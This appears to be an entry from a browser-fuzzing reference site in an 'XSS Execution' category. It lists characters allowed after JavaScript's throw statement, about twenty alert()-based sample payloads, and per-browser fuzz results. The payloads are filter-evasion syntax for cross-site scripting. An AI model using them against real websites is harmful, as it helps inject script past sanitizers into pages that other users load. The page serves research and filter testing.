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Characters allowed after throw statement

Chrome logo 25
Firefox logo 25
Edge logo 25
Safari logo 25

This vector shows which characters are allowed after the throw statement.

hackvertor
Created byhackvertor
Created Jul 14, 2025
Updated Jul 14, 2025

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CategoryXSS Execution
VisibilityPublic
TypeJS
CharsetUTF-8
Template used:
throw$[chr]log($[i])

Sample payloads

throw0x09alert(9)
throw0x0Balert(11)
throw0x0Calert(12)
throw alert(32)
throw!alert(33)
throw+alert(43)
throw-alert(45)
throw~alert(126)
throw alert(160)
throwalert(5760)
throw alert(8192)
throwalert(8193)
throwalert(8194)
throwalert(8195)
throwalert(8196)
throwalert(8197)
throwalert(8198)
throwalert(8199)
throwalert(8200)
throwalert(8201)

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 25 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated25 Jan 2026
Found 25 results
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 25 results
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Firefox logo
Firefox 147.0 desktop Linuxolder version
Updated23 Feb 2026
Found 25 results
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Firefox logo
Firefox 140.0 desktop macOS 10.15older version
Updated15 Jul 2025
Found 25 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 25 results
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Safari logo
Safari 26.2 desktop macOS 10.15.7
Updated4 Feb 2026
Found 25 results
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